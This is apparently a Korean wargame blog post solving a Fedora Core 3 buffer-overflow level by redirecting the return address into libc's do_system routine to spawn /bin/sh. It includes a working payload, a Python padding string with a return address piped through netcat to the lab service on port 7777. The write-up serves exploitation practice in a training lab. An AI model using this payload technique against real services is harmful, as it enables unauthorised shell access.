힌트를 보고 got overwrite를 시도해봤다.
근데 생각대로 되지 않아서 검색을 해보다가 system함수를 이용해 문제를 푸는것을 알게되었다.
system 함수를 보자.
system 함수를 보면 do_system함수를 호출하는것을 볼 수 있다.
do_system 함수를 보자.
do_system 함수는 execve함수를 호출하게된다.
우선 do_system+1124부분을 보면 sigprocmask함수를 호출한 후 실행되는 부분이다.
여기 부분을 살펴보면 execve의 인자를 구성하는 단계로 상태를 보면 아래와 같다.
execve("/bin/sh", {"/home/dark_eyes/hell_fire", NULL}, envp)
이런식이다. 따라서 return address에 이 do_system+1124를 넣어주게 되면 hell_fire 이름으로 /bin/sh을 실행시키게된다.
이 문제는 로컬 bof로 풀 수 없다. 로컬에 바이너리를 실행할때 루트권한을 주는 비트가 설정이 안되어있기 때문이다.
서비스중인 xinetd를 보니 7777포트에서 hell_fire가 서비스 중이다. netcat으로 접근하면 된다.
payload
(python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777
'Wargame > FedoraCore BOF' 카테고리의 다른 글
Fedora Core3 evil_wizard -> dark_stone (0) | 2018.02.25 |
---|---|
Fedora Core3 hell_file -> evil_wizard (0) | 2018.02.25 |
Fedora Core3 iron_golem -> dark_eyes (0) | 2018.02.23 |
Fedora Core3 gate -> iron_golem (0) | 2018.02.22 |
FedoraCore3 설명 (0) | 2018.02.19 |